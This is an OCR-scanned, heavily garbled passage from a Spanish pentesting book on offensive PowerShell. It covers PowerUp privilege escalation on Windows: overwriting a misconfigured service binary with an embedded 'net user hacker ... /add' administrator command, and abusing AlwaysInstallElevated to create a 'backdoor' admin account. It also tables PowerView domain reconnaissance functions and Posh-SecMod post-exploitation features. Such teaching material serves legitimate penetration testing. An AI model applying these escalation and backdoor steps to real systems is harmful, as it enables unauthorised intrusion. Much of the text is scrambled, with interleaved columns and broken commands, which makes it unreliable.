| servicio, se debe esperar a que se lance

] binario resultante se ¢
ester se puede encontrar rut

en cuenta que el pent
alguna ruta intermedia del path de

puede alojar el binario en
! o reinicie el servicio.
En este caso se ha optado configurar el médulo multi/handler de Metasploit para tomar el control,

aya cjecutado el codigo en la maquina remota.

|
i

una vez se h

Fig. 3.12: Obtencidn del méaximo privilegio en remoto a través de Meterpreter.

T
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(CaLel '?-‘

B (23

sobre debilidade fi

o ; : ades en las configuracione : i

e g ; I configuraciones d Servicios a t :

:’v 508 de los binarios de éstos. Cuando se instala una e e
: ¢ o e v : . alc <
inario que éste lanza estd mal configurado en lo que

de seguridad importante.

lambién se debe hablar

aplicacion que tiene algin servicio. v el
a permisos se refiere, se : ot
permisos se refiere, se puede tener un agujero

,\'upél10;a<e un ejen V A lanz
gas wlo en e s a] servici
') P (3 en el que el servicio A lanza un binario denominado pg cti
a g cli.exe.

tiene permisos por def Este binario

C ]L IEIT 1 C 5 I) {wid b C
ecto que ermitén que un usuario ¢ 1€N0r CZI10 pu (1 SODIC )
e Or 1C ],I v ]]
= c ario, p s d = ¢ d CSIC, UUTe
. e) genera un binaric . l O1 LIme]U con ,l/& /(1\/)/0” Y Se ai L]dL KUd]”() a]l) trario a es :L h( 1
- ot & ql 1ne nre JIO Cuad & V ( o a
1a Ll cont ()l d(, lcl maqu 1¢ mMoto cu “](]0 SC lance el sel IC10,

Para esta segunda pr
Sta seg 1 prueba de conc g T
s bin'u-ioq:lm ;101 : eba (:L concepto se utiliza la funcién Ger-ServiceEXEPerms. | 1d
; GV > 1ener S nermicos hien o AL Perms, la cual detectar:
la funcion devuelve 1 los permisos bien configurados. En el ejemplo se puede vi o —
evuelve que el binario MobizenService. exe tiene i ki o

: g ; una confisuracio A E
por lo que puede ser sobrescrito por el usuario a configuracion de permisos errénea.

PS C:\Users\pgonzale
z\Desktop\PouerTool
s—master\PouverlUp> Get-§ i
erviceEXEPern)

ServiceName
Path

: C:\Program Files Cx86 >\RSUPPORT\M. . .

v d Derecci e pinaric )/ MISOS 1, con, FAY
g =, 'CLOT, " pel
et 1 de binc ) CON pe os mal Taurade

["” esta OL{lsi -l C Al ar .1) S€ generar (8} ciones » P { ”
s : an I l.| ario se I 1 €=
~ nerara con l']\; fun | 5 ) ) 14 /
Servie ,!; \ .'(v ¥ Ao *10NES ([L ower / /’ & S‘("‘ NCE P §
\ ’ $ [ \ ”) pd q {.‘Odkl.l L[.\H()”"lli' ) o .y ] ! ervice. 4_\/; y Wirite
’ > DET'S < Zar ld INstruccic ¢ ec S¢C i -Z 1 - “[ y
”).”, S viceEXEC b cclon dt[».(,u[al' SC UL I y a si i 1 (
¢-o€l I(CL.\L( .'1[/) "5("" o\ “A 74 “ IL11Z3 'd siguiente instrucc )
net /Ul 1//”]. i $ia ' J\( s s /U/ rzen /)/I’,(JA;” 2 (.1//) “net user )LI/ ) ,‘:)(l A ’( ]L“ )
{ ) / // ix (/0/.(_,‘) / (I/ /” f'kl(/({'. & € sey / )/() / apce. /a /, /’ & &

\Us pg S (1] ouer] UIS“maStel P G =S EXE g
2 ez\ k P
e nza N\ o N erm
PS C: Us »s (1] 1 De : P = 0"8)‘”1)) et ervice EXEP

ServiceName

Mobizen plugin

Path

C:\Program Files (x86 >\RSUPPORT\M. .

PS C:\Users\
3 lez\Desk
D —SerulceNaﬁgoaﬁa i esktop\PoverTools-mas
. ."Mobizen plugin' - ) master\Powerlp> HWrite-Serui
fochTgroun S Ceadoeba farieg gl Vo Pached 123abe:” JI0K 4k ot
N oF sewrvice ‘M bi > A
ed 123abc.. /add obizen plugin’ with cu
’C:\Program Fileg&(zgg)&gcalgroup administpado:g:mhggﬁmsnd ’n?t user hack
PS C:N\Users\ ) SUPPORT\MohizenService\Mohiz ed Zadd’ written to
Z ez\Desktop\PouerIoo1s—master\Poge;ﬁegserulce'exe’

Fig. 3.14: Cr ; hi 2
< reacion de hinario persoi 3 l
[ /LI\L/!ILI/'_' C ! UCCTO
Zado con instruccion maliciosa,

Autométicamente, se habra i inario ori

e ll};allzlja”n:n\”uln el binario original a una extension . bak. v se dejara como binari

ol dc;d,‘ Ora toca arrancar el servicio, o pararlo si estuviera "u‘r‘m s <0

i s e ser 1.14‘03./71&0. Una vez ejecutado el el bir
Jecutard la instruccion prevista.

ado, y para ello se
20 Y para S€
Servie acte |- - 1 1

SCrviICio, éste lanzara el binario sobrescrito s

Vn €ste ¢ 1 o2 %) a l 5 d sl ~ 2
l. < 4S80 \"I“d N 4
B ra \'lbllﬂll/ill' como s 'Ce 1
;. o ~ 0 se hﬂ Cl&.']do L suar dacnor i ) )
‘ll ar UI)O 'd(ln"]'l].‘[ I ‘es. mnau 1o 1 madc //[/('/\’é’(/. Ll LUEI! ] ertenece
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MNombre Nembre completo Descripcion
#, Administrador Cuenta integrada para la administ..
A hacked

Cuenta integrada para &l acceso C..
= e -

=S

¥, Invitado

“General | Miembro de | Pefi

Miembro de:

$ Administradoras
B Usuarios

Fig. 3.13: Creacion de usuarto v adicion al grupo administradores.

ue permite la obtencion de privilegio
puede comprometer un entorno Windows.
privilegio, siempre y cuando se cumplan

PoC: Configuracion erréneaen el registroq

oncepto se trata un fallo con el que se

En esta prueba de ¢
le provocar la escalada de

Esta configuracion erronea puec
las condiciones.

E| escenario es el siguiente:
Usuario sin privilegio y con acceso a und PowerShell 3.0.
- Equipo con Windows 8.

- Seripts de PowerUp en el equipo.

s. tanto en la rama HKLM como en HKCU, que indican

En el registro de Windows existen dos ruta
instalacion MSI. La ruta para HKLM es HKEY_

el privilegio con el que se ejecutan los paquetes de
LOCAL MACHINE \SOFTWARE\Policies '.Aflic‘m.s'q/i'xl‘l"ind()w.s":In.vtalle.r. En esta ruta se puede
encontrar una clave denominada AlwaysinstallElevated. Si esta clave no existe, la configuracion

no es vulnerable. Estara correctamente configurada si existe y su valor es 0. Estard incorrectamente
configurada si existe y su valor es 1. La ruta en HKCU s HKEY_CURRENTi.USER\SQ/?wam
Policies'\Microsoft\Windows \nstaller.

ulnerable. Si existey el

nfiguracion no es v
figuradas

¢ no existe, ocurre como en la anterior. que la co
bas claves tienen que estar con

Sila clay
a configuracion es vulnerable. En resumen, am

valores 1,1

avalor 1.
o false para indicar

ion se pu
cutar es Ger*

-RegAbwaysinstallE levated se devolvera un valor frue
Inerable o no. Afadiendo el parametro verbose a la func
rentes claves. Por lo tanto, la instruccion a eje

Al ejecutar la funcion Gef
si la configuracion es vu
visualizar que valores tienen las dife
RegAlwaysln.vIaIIElevaled ~Verbose.

T
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IPS C:\Users\
sersi\pgonzal s
_UePboseez\Deuktop\PouePTools
1

11Elevated
HKLMuval:
1

PETALLADO: HKCUval:
tallElevated enabled on this

—master
ter\Poverlp> Get—RegAlwaysInsta

DETALLADO: AlwaysIns

machine?

g 3 £ 3

O Detecer ae configura i & 5 il e i
g

Fi 3.16: D, reccion d Iﬁ quracion erionea de 4 hvay [IHI{ 1! ',’l'lllC’,

Una vez de . iz

2o institic tectada la configuracion errénea, el pentester tiene
¢ cién con el maximo privilegio. at ene ¢

0 priv :
UserAddMSI permite crear uni lf&:!egro‘;lgjunquc su usuario no tenga privilegio. La funcion |

*hivo / el cual i = - La funcion iite-

con el que se puede ¢ X . al contiene una aplicacié =

rear P icacior e
un usuario, indicando su contrasefia y el fmpo | b
grupo al que pertenecerd

laro que puede lanzar un paquete VS/

Tras ejecutar J¥rin

S e-UserA & 3apats

o s ol equipodcg‘gfr{ se podré uu.hzar el paquete MS/ para crear w :

o oS pr'ivilegi(z) se Pl;.‘de visualizar en la imagen, el panel de ’l ﬂuelv.o usuario
es todo un éxito. BRSES > la aplicacion es

S

Lo

7 User Add

Usemame
backdoar

Password
'password 123

GLDUD
|~dministradpres

Create

Fig 3.17: Creacié
g 37 Creacion de uswari g, 7
o draves de aplicacion lanzada con un paguete AS]
« aagtiete MS.

PowerView

Power Vs IT
iew es *onj
i und\ €5 un conjunto de herramicntas escritas en P
ominio de Microsoft Wi i
los cuales wtili soft Windows. PowerView ¢
. C
o ’(IIL.H unh‘zan hooks para Active Directory y =
algunas funcionalidades Gtiles -

owerShe,
u.l erShell para obtener conocimiento de la
= h: . ~ ) ;
i lene un conjunto de funciones de tipo ner
za funciones de la 4”7 de Win32 para llevar a
I3 a:

Adt‘més, Poweriew ig 4

netview,exe y alg:]‘l;;;“t';l‘:l?;l|31pl€m§nta v:arias metafunciones, incluyendo un pos d -
funciones que forman Puwe;-;::f ‘}llé ldennﬁf:an usuarios en la red. Mas adclalnte/’- edlu hCl.Ta.n?'cma
S tew, y se podran detectar miles de usos en un p"’”e:}? ’CSCrmn-an las
<nom[J,c.wtar estas funciones sobre v
. re de
Siecutar ¢l f

una maqui .
! archi " quma se puede e S T ;5
archivo psI>. Otra opeién seria ¢ P Jecutar la instruccion import-module

jecutar o
chero ps 1. Jecutar PowerShell —exec bypass y en esa sesion
g ¥ O
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3 1 t 4 . 4 vypde 5
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u )\ nd n eV

en d‘chas CalegOI’lEE as categor 1as ¢ com e e

- Funcionalidades de red.

. 3 i
= S ICI ciones c C()"[ anza e€n dOl‘nmlOS.
[ uncio

- Metafunciones y otros.

g ed.
nalti
A COl‘ltmuaClOn I T S €n l e ria fUHClO al dades de 1

1alidades que proporciona

Descripcion s
Nombre inio actual, los controladores de
ista el nombre de dominio actual, %
_ ‘ Se lista e v tes. ¢l PDC, el RID y el modo de dominio
Get-NetDomain dominio existentes,

Get-NetForest

minio. los sitios, el
1 10 el nombre del do :

> informacion sobre e o e
Mul‘-Stfa lobal, el esquema en nomenclatura de Active Di g
ik ! etcétera

Get-NetForestDomains

b B est
M tr IntOllllﬂLIOIl dL l'OdOS log dcn““nos del ac[ual/{"
uestra

Get-NetDomainControllers

‘sta informacion sobre los distintos csmlroladores dor.n.lmo.
e 011'1 ersion del sistema operativo de este dgmum
12"(::;7:;‘{; \Ila éireccién IP, la sinchnizaCIc'm horaria, las
particiones, elcetera

Get-NetCurrentUser

Muestra el usuario actual en la red

Get-NetUser

i i i orciona
Muestra todos los objetos de tipo uslugno.. Prsp[ s e
i minio.
i€ los usuarios del do :

‘ oot ] ic ieto. homedrive,
.mforer:lnombre apellidos, email, categoria del (')?ei?ﬁcador i
g es que se ha logado, object guid. aa’spal'h: iden e

ot q mario. SID, etcétera. Es realmente Gtil estzlx (Ij o
upo prit A A terd. e
i e: una fase de recopilacion de informacion d

Get-NetUserSPNs

servici los usuarios
Lista los principales nombres de servicio de

Get-NetOUs

i inio en nomenclatura
Lista las unidades organizativas del dominio en no
o Active Directory

B

Get-NetGUIDOUs

Encuentra OUs enlazadas a un GUID especifico

Invoke-NetUserddd

~ e 3 sea OSlblc
de un us ual‘i() l()Cal (8] de dOIl‘llnlO. .Slempr que p

Get-NetGroups

M SUre llS[Eld: 'lz grup:“ eX1SiCl cs en =

Get-NetGroup

T i 0 €S ecifico
Muestra informacion para cada usuario de un grup P
ues

Get-NetLocalGroups

[VlueStla Ll ll tad Y 0S l(;cales S()h]e un h()s

100
ipo remoto
Lista los miembros de un grupo local sobre un equipo

i pos
Qe NeflamaliSrong ) sobre un listado de equipos .

b Gl
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Nombre

Descripcion

3 Lista un conjunto de servicios que se estdn ejecutando
Get-NetLocalServices J q J

magquina remota o un listado de maquinas

Anade un usuario a un grupo local o de dominio especifico
Consigue un listado de equipos y servidores en el dominio
Proporciona un listado de servidores de archivos utilizados por los
actuales usuarios del dominio

Indica informacién de recursos com
red. Se debe utilizar el pardmetro /ios

sobre una
Invoke-NetGroupUserAdd

Get-NetComputers

Get-NeiFileServers

partidos de un equipo de la
Get-NetShaie

name para indicar el nombre
del equipo
Lista los usuarios logados con actividad en un servidor especifico

Lista sesiones activas sobre un servidor especifico, indicando qué
usuario es el que tiene dicha sesion

Devuelve la combinacién entre la ejecucion de Ger-NetFiles y el
comando Ger-NetSessions. En caso de que alguno no devuelva
resultados, el resultado serd nulo

Get-NetLoggedon

Get-NetSessions

Get-NetFileSessions

GerNetConmentins Lista las conexiones activas mostrando los Irecursos comp
cl-ive 7 i by

artidos
de un servidor o maquina especifica

Get-NetRDPSessions

Lista las sesiones RDP activas sobre una maquina concreta
Getr-NetFiles

Muestra el listado de ficheros abiertos sobre una méaquina

Get-NetProcesses

Muestra el listado de procesos, con el propietario del mismo.
sobre una maquina especifica, pudiendo ser una madquina remota

Tabla 3.10: Funcionalidades de red de PowerView.

Estas funciones permiten conocer més el listado de dominios, de usuarios, de grupos, de recursos o
de unidades organizativas que existen en la red

a auditar. Son funcionalidades que permite
un conocimiento amplio sobre e

n obtener
| entorno en el que el pentester se encuentra,

A continuacion se detallan las funciones proporcionadas en la categoria user-hunting:

Pr—

Nombre

Descripcion
Encuentra maquinas en el dominio dénde
se ha logado. e incluso puede chequear si e

Invoke- UserHunter

un usuario especifico

I usuario tiene acceso
como administrador local de las maquinas encontradas

Version con threads de Invoke- UserHunter

hx
wﬂw'ﬂnwaded

Encuentra los servidores de ficheros utilizados en los directorios
de los usuarios y chequea las sesiones sobre cada servidor de
archivos

Invake-Slea/l/z UserHunter
\
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Nombre Descripcion A continuacion se detallan las metafunciones y el resto de funci
: 2 otros de Power View: o de funciones que se agru ;
. Encuentra los procesos que se gjecutan en Jas maquinas del - grupan en la categoria
invoke-UserProcessHunter o : Sl i : : B
dominio que corren bajo el privilegio de un usuario concreto N
: ombre
Enumera procesos con un nombre €s ecifico que se encuentra s
Invoke-ProcessHunter ; corriendo en diversasF:néquin;s Descripeién
— - ‘ES l_m port de la herramienta netview exe util
: Enumera eventos de logon solicitando a los domain controller funcionalidades Ger-Ner* epe el lus
Invoke-UserEventHunter E A / . i er*. Encuentra maquinas sol
sl iformacion nvoke-Netview dominio local y ejecuta varios métodos pa e
- . ! 3 ra enumer
Tabla 3.11: Funcionalidades de user-hunting de Powerliew. relt?ursos compartidos. Ademds. permite visualizar sesi b
activas. Interesante ¢ SEHIGRES
— ; . : omando para la fa s
A continuacion se detallan las funciones proporcionadas en la categoria relaciones de confianza en g se de descubrimiento
dominios: Invoke-Netview Threaded >
Version con threads de Invoke-Netview
Encuent
Invoke-ShareFi, ray enumera los recu ;
S o inder wriid rsos compart
Nombre Descripeion equipos que forman parte de | 1partidos de los
parie.de ia red. Utiliza técnicas no
Get-NetDomainTrusis Lista todas las relaciones de confianza del actual dominio estandar para ello
Lista todas las relaciones de confianza del actual dominio, Invoke-hareFinder Threaded ;
Get-NetDomainTrustsLDAP pero solo utilizando LLDAP. Esto permite hacer relay de Version con threads de Invoke-ShareFinder
todo el trafico a través de tu DC primario
Gui-NetForestTrusts Lista todas las relaciones de confianza para los forest Invoke-FileFinder Encuentra archivos potencialmente sensibles sobre los
s ) ) asociados con el actual usuario del dominio T equipos de Gt o
- : £ ' fd Invoke-FileFinderThreaded o ‘; p / un dominio local
- ; - qumera los usuarios que estn en grupos tuera de sl con threads de Invoke-Fileli
Invoke-FindUserTrustGroups o4 e Invoke-FileFinderThreaded
principal dominio o i
g nmvoke-dLocalAdminAccess Encuentra maguinas ; .
Mapea todos los domain trusts y enumera todos los dminAccess o [_maqu‘"‘l-“ en las que el usuario que ejecuta el
ki > 5 . A e s 1er o oyt d
Invoke-FindAllUserTrustGroups usuarios que estan en grupos fuera de su principal 1€ acceso como administrador [ocal
Invoke-

Version con threads de Invoke-
FindLocalAdmindcces Threaded

dominio

LocalAdminAcees Threaded

Enumera todos los miembros de un grupo de dominio
y encuentra los usuarios que estan fuera del dominio r—— =
consultado. Se debe indicar un dominio e Ul'la‘busqucda de usuarios a través de un campo

como por ejemplo su nombre. Es necesario utilizar c'p 4

Mapea todos los domain trusis y enumera grupos con i ) Ty
parametro ferm para indicar el término que se quiere

Invoke-FindGroupTrustUsers
Invoke-UserFieldSearch

Invoke-FindAllGroupTrustUsers ; e e S
usuarios fuera de su principal dominio matchear y el pardmetro field para indicar sob i
: X Enumera miembros del grupo de administradores e & veafin Tn bi sobre que campo
Invoke-EnumerateLocal TrustGroups i . ! — a blisqueda del término
cruzados - moke-ComputerfieldSearch Similar al comando Invoke-UserFieldSearc
= diferenci : ; s ldSearch, con a
a de que las bisquedas se realizan sobre maquinas

Version con threads de Invoke-

Invoke-EnumerateLocal TrusiGroup
Encuentra si as
tra sistemas que parecen vulnerables a algunos

sThreaded EnumerateLocal TrustGroups —
) Se intenta construir un mapa relacional de todos los Get-ExploitableSyste, exploits conocidos. E
Invoke-MapDomainTrusts L p bt ! eSystens atili ocidos. El detalle de los exploirs que se pueden
lomain trusts I Hizar se encuentra comentado en el codigo fuente d
- - - = 2o fuente de
; Se intenta construir un mapa relacional de todos los PowerView FE
Invoke—MupDonmmTruslsLDAP v iae . LDAP Ger-1 . Li
domain trusts utilizando Get-NetDomainTrusisSLDAT__ \’- LAPSPasswords 1sta contrasenas LAPS, Local Administ P
; . 4 nistrator Password
Solution, para cada cuenta de equipo

Tubla 3.12- Funcionalidades de domain trist de PowerView.
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( C S p AL Sid a < N < ' i
1 d VEr €r ]
= 2 A . »
teri S, €X £ INCi I d
MT10 Se edac Cr ¢ as ta )Ias anteriore existe un aran numero de i nciona ](I{ €S co 1 €

Nombre Descripcion
Se ejecuta todos los chequeos disponibles para enumerar extraer un gran volumen de informacié
5 : i : acion de - .
recursos compartidos, objetos de tipo usuarios logados. T on del dominio y de las méquinas que componen ¢
i 3 g : o “stas i ST nen este
k e sacar informacién de directorio, enumeracion de grupos UnClOn'ahdddeb unidas a técnicas de elevacis . P v
Invoke-HostEnum Tty -« eteétera. Todo esto indicando con el lateral a través de Pass 1/ > de elevacion de privilegio en el domini
ocales y usuarios, eice _era.. odo esto ndi con e ok s gt ss the Hash permiten ir avanzando en la recon: _dominio o de movimiento
ame la maquina sabre la que se lanzara este itoria en la red corporativa a recopilacién de informacion valio
A < sa

parametro HostN.

todo en uno
era los miembros del grupo administradores de las PoC: Resumen de PowerView

Enum
Aunque todos lo
s comandos son vali
aliosos y puedan ser utilizados en cualquier mo
g mento, en funcién

; Invoke-EnumerateLocal Admins e Y e
i méquinas del dominio, siempre que s¢ pueda
)
| Invok L =
i nvoke- o 7 de las condi >
i : Versién con threads de Invoke-numeraLocalAdmins ; ciones del entorno en el que el
EnumerateLocal Admins Threaded muy Interesantes. Hay que tener S FEnieHE)Be chtuentis, se by querido
— — E j en cuenta que las 61 ’ resumir algunos
Resuelve un nombre de maquina a una direccion IP. Esto pueden hacer que se necesite la ejecucién dz u condiciones en las que el pentester se encue 1] "
na u otra funcionalj ? entre,
alidad.

a conocer las direcciones IP de filuan de 1 :
. : : ‘ > los -
Si no se introduce el parametro -no €€ J0S primeros comandos y que mds informacié
funcionalidad proporciona informacién sob informacién puede devolver es Ger-Nerl,
acion sobre todos los . qel-NetUser. Estz
puede encontrar gran canti 05 los usuarios del directori i 8 ST
antidad de correos electroni s del directorio activo, por
logueo, cambi eos electrénicos, SID. unid: : » por lo que se
gueo, o 06 chrftaceian, o . . unidades organizativas. inf
ontrasefias, el path de ADS, certificado si éste ul'l.olgam/“‘m’as- informacién de
ste utiliza, etcétera

puede ser bastante atil par

Get-HostIP e o
las méaquinas del dominio.
hosiname, se coge por defecto la méquina local

Set-MacAttribute Permite modificar los atributos de un fichero
Copia un archivo local a una ubicacién remota .
ara convertir los SID

5 b que se pue 2Ne = ;

SilTNGHe. Como e puedepv' .den' encontrar por el dominio se puede utilizar el
viceversa es realmente sencill isualizar en la imagen, convertir de SID '1'noL E(’msndo S
0. N ¢ mbre de Uﬂuario %
S .y

Invoke-CopylFile

Test-Server Prueba la conectividad con una maquina especifica

Lista las propiedades para un usuario especifico

Lista las propiedades para un equipo especifico Name: PS C:\U
— R =\Users\pgonzalez s -

po indicado meToSid 18‘\De“ktOP\POWEPTools—ma°teP\Poue Ui
= werUieu> Convert—N

Get-UserProperties

Get-ComputerProperties

Get-LastLoggedOn Indica el Gltimo usuario logado en el equi
: Devuelve eventos de logon de una maquina es ecifica, cndlet Convert—N ;
Get-UserLogonEvents 5 ) & P— 1‘ = P Proporcione ualoigfrﬁi 1(‘ en la posicidn 1 de 1a ;
siempre y cuando se tenga acceso 35?25: gi‘blo-gonzalezl ra los parametros Siguientgfr}ahzacién de comandos
g e Devuelve eventos de peticiones TGT en una maquina PS C:\lJs 3290230174 e
Get-UserTGTEvents ifice 3 sers\pgonzalez\Desktop\Pou ~1117
especifica erlools—master\PouverUieud> Convert-Si
» : Chequea si el usuario actual tiene acceso como cndlet Convert-SidToN oo
Invoke-CheckLocalAdminAccess o S o Proporcione 1 oName en la posicid
administrador local en una maquina especifica SID: 8—1 _5_2;a3g;8§ para los uaré;et,l.on 1 de la canalizacién d
- x [ = 309174~ '\antes: hi € comandos
Realiza busquedas sobre un path local o remoto para by U'\U:E?hio -Gonzalez -1117
LS €BS onzalez\Des
bre. o ukto \PowerTools—master\Powes UView>
2. 3.48; erviey
Conversion de SID a nombre de usuario y vicevers
- s,

encontrar ficheros con #érminos concretos en su nom
Este comando es (til para realizar busquedas de ficheros

: : 1 l netro 0 mand() mlly utll Cs [I Ok 'V() ) - ¢
ro co 7V e-/ view., .0n este comando como p
t ~, ag 3 ( d d. Vv ' '
l AT € parqn se uede ISualizar en ‘|

l”\"()/\ e (."U"('/“ “.l(‘“ mage, S o] I la B S 1
i gen, se 1§ de m S
< b puedL encontra l' i
S o 137
S Sesiones activas qLIe hay en l'dS d]SIinIaS n‘léqu d ]
€ Ina dO iniO ] S
» 108

terms
—
R s recurs ~ .
3 = Convierte un nombre de usuario o nombre de grupo a un 0s compartid Y A
Convert-NameToSid e oy 3 grup [ 0s de estas, etcétera.
SID. Se debe indicar el parametro name Esta info _
- y o S & rmacion es fti
Convierte un SID, Security Identifier, a un nombre de contra todo e} dopn: .lll‘para poder tener una vision clara del dominio F
Convert-SidToName usuario o nombre de o. Se debe indicar el paramelro sob ominio simplemente ejecutand ominio. El comando puede |
€ . 0 grupo. € p '€ Una maquina o un conj Jecutando /nvoke-Netview. Si por el - anzarse
SID == 0 conjunto de maquinas se puede utilizar el para Cﬂnllrano L
tro Paré : arametro hosis v hostli
metro interes S ¥ hostList.
Y- que se sante es CheckSharedcce 4
muestran, indi : cess, el cual hard de filt
ndic efiltros 2 ;
s ando sélo los que el usuario que ejecuta el Com:nbdre llgs recursos compartidos
0 tiene acceso

Tubla 3.13: Metafunciones y otras funciones de PowerV
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esktop\PouerTools—maste»\PowerUieu) Invoke—Netvieu —

PS C:\Users\pgonzalez\D
osts P11P-07
tnning Netview with delay of O
Domain Controller: DCA3 .
Domain Controller: DCHZ .
Domain Controller: DCO1.
Domain Controller: DCh4.
Total number of hosts: 1

Server: P11P-07?
IP: 122.16.18.203 169.254.148.79 192.168.1.15
P11P-07 — Logged-on — \Pahlo.Gonzalez
P11P-07 \\Pahlo.Gonzalez
P11P-87 \\Pablo.Gonzalez
P11P-07 \\Pabhlo.Gonzalez
P11P-87 Share: ADMINS = Admin remota

P11P-87 Share: C% : Recurso predeterminado
Pi1P-87? Share: D$ = Recurso predeterminado

Logged—on
Logged—on —
Logged—on —

pPi1P-87 — Share: S Recurso predeterminado
Share: 1PC% IPC remota

Share-= print$ Controladores de impresora
-onzalez\Desktop\PowerTools—master\PouerUiew

Pi1p-07?
P11P-87
PS C:\Users\

Fig. 3.19: Recoleccion de informacion con Invoke-Netview.
anteriores es Invoke-

Uno de los comandos importanies que se han estudiado en las tablas
n el dominio en las

FindLocalAdminAccess. Gracias a este comando se pueden encontrar magquinas e
que el usuario que lanza el comando tenga privilegio de administrador. Si una de estas maquinas es
encontrada, se podria lanzar un cmd remoto y después, por gjemplo, gjecutar un proceso como una

Meterpreter € it ganando mas funcionalidades.

<. un usuario normal del dominio no tendra privilegios de administrador

fn la mayoria de los caso
méquinas que tengan como funcion principal servir archivos

en las maquinas, aunque pueden existir
gios a todos los usuarios. En otras ocasiones, también puede ser que

dénde se den ciertos privile
un usuario normal también tenga el Maximo privilegio en maquinas compartidas que centralizan
indicara que el usuario

funcionalidades. Sea como sea, este comando encontrard estas magquinas €

que se utiliza tiene privilegio de administrador en dichas maquinas, tal y como puede verse en la

imagen.

Enumerating
Enumerating
Enumerating
Enumerating
Enumerating
Enunmerating
Enumerating
Enumerating
Enumerating
Enumerating
Current user
.local
1] Enumerating seruver _ (21 of 24
[»]1 Enumerating server ocal (22 of 24>
[»]1 Epumerating server .al (23 of 24)
[%] Enumerating servexr Jocal (24 of 24)
[+]1 Current user ‘——\Pablo.Gonzalez‘ has local admin
- _local ¢ .146>

[]
[%]
[>]
[]
[%]
[*]
[]
[]
[2]
[]
[+]

server USS—SUN_Server. ({1 of 24)
12 of 24>

server :
servey G = (13 of 24D
server 14 of 24>
server 15 of 24D
seruver local <16 of 24>
cal (17?7 of 24

server
server
server
seprver

IDETALLADO =
DETALLADO
DETALLADO =
IDETALLADO =
DETALLADO:
DETALLADO:
DETALLADO:
DETALLADO:

DETALLADO: >
yeal (28 of 24)

\Pablo.Gonzalez’ has local admin
242

local ¢ s—

DETALLADO:

D
IDETALLADO:
IDETALLADO:
IDETALLADO =

.local
Fig. 3.20: Encontrando maguinas donde el usuario tiene acceso de administrador:
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- 0, CL
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este comando. indicando el hostame

Ry e de una maquin: s

informacién. Se recopilan los grupos de [ a maquina del dominio se obtiene gran cantid d\‘*”

existentes, los recursos g e la maquina. los usuarios admini g s 4
. Tos i iy suarios administradore ervici

logados en la maquina, elc [( i b‘axutemgg‘ los procesos que ejecutan en |z ( L']”“;.\. g

, eteéters, Informacion muy interesanite v o é an a maquina, los usuarios

) sante y que ayuda =

posibles puntos débiles ¢ i n ;
- . S C 5 9 ac A 5. .. ac ocer 2 r
n las maquinas del dominio. A cangeer masidetalles'y

4. Posh-SecMod

/‘S “/7(, €S un moc O pa F( werp, red V. ‘I Cl -” 8 YOIre . ~ s
}){)\ DEC 0 D L < < ]
1 ¢ C I lld ower g/} // ‘I, C e l |O[ orciona una co L(Li()“ dae 1u 1one
= ,\ | I l 1 . Y [ > f c1
% [’{)- Poror 11Zza mé 50} ‘. a dl(l dk /)(")”(}.\'IL/. LS[L CO ’U“[U d(. 'l]()dlll()& l]d S d ) €5C1 [()( ‘. .
( ) [ =49 q 4 as 1 ! ~t 4 . .
1 conocido col (l// ()/ C ! / ¢ '/I ;('( \/() 1 8¢e I€ C \’ : . |
7€ 1 S l MTIO [) eraio IA) £ 40(C P[ e desc

repositorio de Github | s
1ips: /e . s
ps:/github.com/darkoperator/Posh-Sec Mod, argar desde su
NH=QeCViod.

a 1wcionalid: ,

Las funcionalidades que proporciona este médulo se enumeran : . :

- Discovery. Funciones que permiten reali cran a continuacion;

funciones tipicas de etapas dclﬁmr“:-L-H l-ea,hzm‘l“‘“'bl'illlic11tn en la red. Se pueden encontr

para obtener informacion de un : ‘./’fllm-m‘;f como puede ser el Whois, ll|m'iornv1|idv lim e

de puertos sobre méquinas ren >va\‘1( or DNS. enumerar un rango de ‘“"'L‘L'L'im{a\- I}I)(.L\ de red

elcétera. ‘ 10tas, escaneos a traves del protocolo ICMP L‘) : a V1C\“]AHF:F
- S5Cancos A )

- Ulilities. Este
/i . Este mo GDOrC s
la descarga de fich 0dulo proporciona diferentes funciones que permi
scarga cheros en diferentes direcci = ° permiien
gestion de hashes en ficl diferentes direcciones URL, manejo de archivos
SHA384. SH \<|'w : cheros con diferentes algoritmos CQm 0 \ﬂ)" ‘()D kﬂlnpl’imu]m
1A384, SHASI2, obtener la (ltima versid = i 0 MD3, SH¢ SHA 25
puede ver es un médulo ¢ A flhmm version de las herramientas de Sysinze 4 l,' SHLA2SE
la realizacid o con diferentes utilidades que er wsinternals. Como se
a realizacion de un pentesting 1 un momento pueden

al pentester desde

: ayudar durante
R
= Registry. Este moé 3 i
& t .S 6dulo proporciong i
mm“PUh” ol l.L.(,iq“.U ) I ‘D.UTLI()Hd una C\))CCCH‘H'[ de ﬁIHCiOI]L‘\' U 3
: 218 delose R T A
i S equipos de forima remota a través i s | R IILI.HIHL al usuario
. ¢ S Li Lignguaje de mstrume T
2ud] \ ientacion
= ’II(/I" \ )
1 tt. Este modulo pr : i i
oop LF'“C o e proporciona funciones enfocadas a la audit
: en enumerar los tinas ; s a la auditoria de sistem:
las méaquinas del directori lmu..n los tipos de sesiones logadas recuperar infi il o
5 as de eclorio activo, recuperar infi e rar informacion sobr
acuvo, recuperar R o 0, recuperar III{O!‘HH)CI(.’\H SOo0re 5 i N
perar mas dflﬂ”L‘.\' sobre el dil'eCIU”O activ ;.L - i e
< '0. etcetera.

Clorio

/(l\ / X / ( < C p < < 2 ¢ « < Er < c ¢
DYFAR / Qriano -5
1 { 110 rese 1 clrones uc avue 1 enleste [§
{ ] raiton > 10 C / nles ¢
Z

areas de posr-ex, X
S O8ST-eX ')/U[L'('/ F it
/ icion. Estas tareas s "
pueden encontrar funcion stas tareas son vitales para terminar con éxit
1€S5 > o ot - ‘ 2 0 e, ) 2
Gl pomie Sioenne 4 c.a que permitan transformar codigo de Pe S./k /L/m peniest ¥ st
d ar desde la linea ¢ g o wersShe n hase k
tinato-dal serizr, fanci la linca de comandos, funciones que ayud 0 haseda, vl
! : ° iones que hacen | : ayudan a comprimir e
contenido de fi acen la descarga de : P &
e forma encod. . ga de un scripl, un binari /e
e / s Ra o ] ario > .
eada. Ademads, la posibilidad de ejecutar pro k- g
d e CEs0s remotos a traveé
raves

dL ” l/[. realiza un dumpeo S Sy de (] 1 dL\ C she, 1 Sd a “ 1 uina
allz n /"
EC
l d(. /]U. /7‘.’ d IS stema, ‘O]\ I una /]L // mve i
D¢ otra nn aq [



—— T

tin con PowerShell Capitulo 1II. PowerShell puro: El arte del pentesting
Pentesting

ia del fichero ntds.dit, utilidades para Funcion Descripcién
2 de ealiza una cop de entender tras
X a través de TCP, real como se puede €
